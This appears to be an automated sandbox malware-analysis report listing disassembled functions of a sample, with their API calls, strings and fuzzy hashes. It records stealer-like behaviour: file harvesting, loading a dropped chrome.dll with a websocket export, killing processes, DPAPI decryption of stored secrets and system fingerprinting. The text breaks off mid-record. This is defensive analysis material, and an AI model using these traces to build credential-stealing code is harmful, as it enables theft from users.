FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425244,?,00401F6C,?,004252EC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425394), ref: 004019B3
StrCmpCA.SHLWAPI(?,0042543C), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 9368bc4ae3fff6dbfdfcd5706ae5df14d7192dcbec04dfe12caa17a872dec648
Instruction ID: a576ed9f26fd673c6d53a896fc8188a2a0655e62510251b9f9068b5a07b58df1
Opcode Fuzzy Hash: 9368bc4ae3fff6dbfdfcd5706ae5df14d7192dcbec04dfe12caa17a872dec648
Instruction Fuzzy Hash: 45125071A111189BCB15FB61DCA6EEE7339AF14314F4045EEB10662091EF386BD8CFA9

Function 0040DB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215A8,00420BAF), ref: 0040DBEB
StrCmpCA.SHLWAPI(?,004215AC), ref: 0040DC33
StrCmpCA.SHLWAPI(?,004215B0), ref: 0040DC49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DECC
FindClose.KERNEL32(000000FF), ref: 0040DEDE

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 965d64469643e8e366398b98130b6f7f2020a9b1fe86d706e13ec4d2ba612662
Instruction ID: c85deeef17d72a94dc1f170446f25d55197e78b42259dde6f56d7dfc7a2e5770
Opcode Fuzzy Hash: 965d64469643e8e366398b98130b6f7f2020a9b1fe86d706e13ec4d2ba612662
Instruction Fuzzy Hash: 40917572A001049BCB14FBB1ED96DED733DAF84344F00456EF90666185EE38AB5CCB9A

Function 0040A090 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098
GetProcAddress.KERNEL32(6CFD0000,connect_to_websocket), ref: 0040A0BE
GetProcAddress.KERNEL32(6CFD0000,free_result), ref: 0040A0D5
FreeLibrary.KERNEL32(6CFD0000,?,004108E4), ref: 0040A0F9

Strings

connect_to_websocket, xrefs: 0040A0B3
C:\ProgramData\chrome.dll, xrefs: 0040A093
free_result, xrefs: 0040A0C9

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 2256533930-1545816527
Opcode ID: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction ID: 41317d004e32df3368e0b40b2df30f060e9b3f1c7a199a11b2b6647de007d5a9
Opcode Fuzzy Hash: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction Fuzzy Hash: 57F01DB4E0E324EFD7009B60ED48B563BA6E318341F506437F505AB2E0E3B85494CB6B

Function 004198E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00419905
Process32First.KERNEL32(00409FDE,00000128), ref: 00419919
Process32Next.KERNEL32(00409FDE,00000128), ref: 0041992E
StrCmpCA.SHLWAPI(?,00409FDE), ref: 00419943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0041995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041997A
CloseHandle.KERNEL32(00000000), ref: 00419987
CloseHandle.KERNEL32(00409FDE), ref: 00419993

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction ID: 9e175830caf9148bd7a219e001ec971bef60eefc02138b6d75eb658f8e5d4480
Opcode Fuzzy Hash: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction Fuzzy Hash: 94112EB5E15218ABCB24DFA0DC48BDEB7B9BB48700F00558DF509A6240EB749B84CF91

Function 0040E530 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D79), ref: 0040E5A2
StrCmpCA.SHLWAPI(?,004215F0), ref: 0040E5F2
StrCmpCA.SHLWAPI(?,004215F4), ref: 0040E608
FindNextFileA.KERNEL32(000000FF,?), ref: 0040ECDF

Strings

\*.*, xrefs: 0040E54D
@, xrefs: 0040ECF5, 0040E6EB, 0040E81C, 0040E95B, 0040E5B9, 0040E6EE, 0040E81F, 0040E95E

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: 381b8b046473ff764c6d886f1e1c5cd937631fe554d9d1dcbcef526e2eb5ea77
Instruction ID: 078a0cb4b8b1302ba7a9d85fb6124db0b21cd0ebb254cebb7c4a92464ee22dab
Opcode Fuzzy Hash: 381b8b046473ff764c6d886f1e1c5cd937631fe554d9d1dcbcef526e2eb5ea77
Instruction Fuzzy Hash: A6128431A111185BCB14FB61DCA6EED7339AF54314F4045EFB10A62095EF386F98CB9A

Function 00417D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
LocalFree.KERNEL32(00000000), ref: 00417EB2

Strings

/ , xrefs: 00417E0F

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 083c6f3f192e8336ac965dc18ce2ee9f1f2ff01b0854636489bf9354698e6939
Instruction ID: 3a7f69f4b1fea99afaf6d133ce9a777b30b3333c02d8fb4e8698743120f63e4e
Opcode Fuzzy Hash: 083c6f3f192e8336ac965dc18ce2ee9f1f2ff01b0854636489bf9354698e6939
Instruction Fuzzy Hash: 1C416D71945218ABCB24DB94DC99BEEB374FF44704F2041DAE10A62280DB386FC4CFA9

Function 00419790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004197AE
Process32First.KERNEL32(00420ACE,00000128), ref: 004197C2
Process32Next.KERNEL32(00420ACE,00000128), ref: 004197D7
StrCmpCA.SHLWAPI(?,00000000), ref: 004197EC
CloseHandle.KERNEL32(00420ACE), ref: 0041980A

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction ID: 1fbe04e52da5ee7ffdaa7b0a109f2e7c212eef70923f216ae4cda371332784c4
Opcode Fuzzy Hash: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction Fuzzy Hash: 49010C75E15209EBDB20DFA4CD54BDEB7B9BB08700F14469AE50996240E7349F80CF61

Function 00418810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Process32First.KERNEL32(?,00000128), ref: 0041886E
Process32Next.KERNEL32(?,00000128), ref: 00418883

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

CloseHandle.KERNEL32(?), ref: 004188F1

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 988aa21e2aa434046649df28a2bf9e70e77ad315019ce6c7d2dae35c11f85033
Instruction ID: f2962352e5a9518fad6621e76df9ccdb14d3c152e16a9ee82315e1f5505f4b94
Opcode Fuzzy Hash: 988aa21e2aa434046649df28a2bf9e70e77ad315019ce6c7d2dae35c11f85033
Instruction Fuzzy Hash: 0E318171A02158ABCB24DF55DC55FEEB378EF04714F50419EF10A62190EB386B84CFA5

Function 00419030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction ID: a6271c561c9c1d5471e6a4d7c0a7a185f0e3b346a55a3ee80b23d48c8130208f
Opcode Fuzzy Hash: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction Fuzzy Hash: 6C11F874604208EFDB00CF54D894BAB37A9AF89310F109449F91A8B350D779ED818BA9

Function 0040A2B0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
memcpy.MSVCRT(?,?,?), ref: 0040A316
LocalFree.KERNEL32(?), ref: 0040A323

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction ID: b2ce5641e7fa807fe786f78e48a01c4c7ef199da86c861ee62a52048bf8154be
Opcode Fuzzy Hash: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction Fuzzy Hash: 3611ACB4900209DFCB04DF94D988AAE77B5FF88300F104559ED15A7350D734AE50CF61

Function 00417BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00860A20,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00860A20,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00860A20,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D
wsprintfA.USER32 ref: 00417C47

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction ID: b2a27aae97358dcb217157a2278e60ef806da717b76b9d8dbc6f71207b10123d
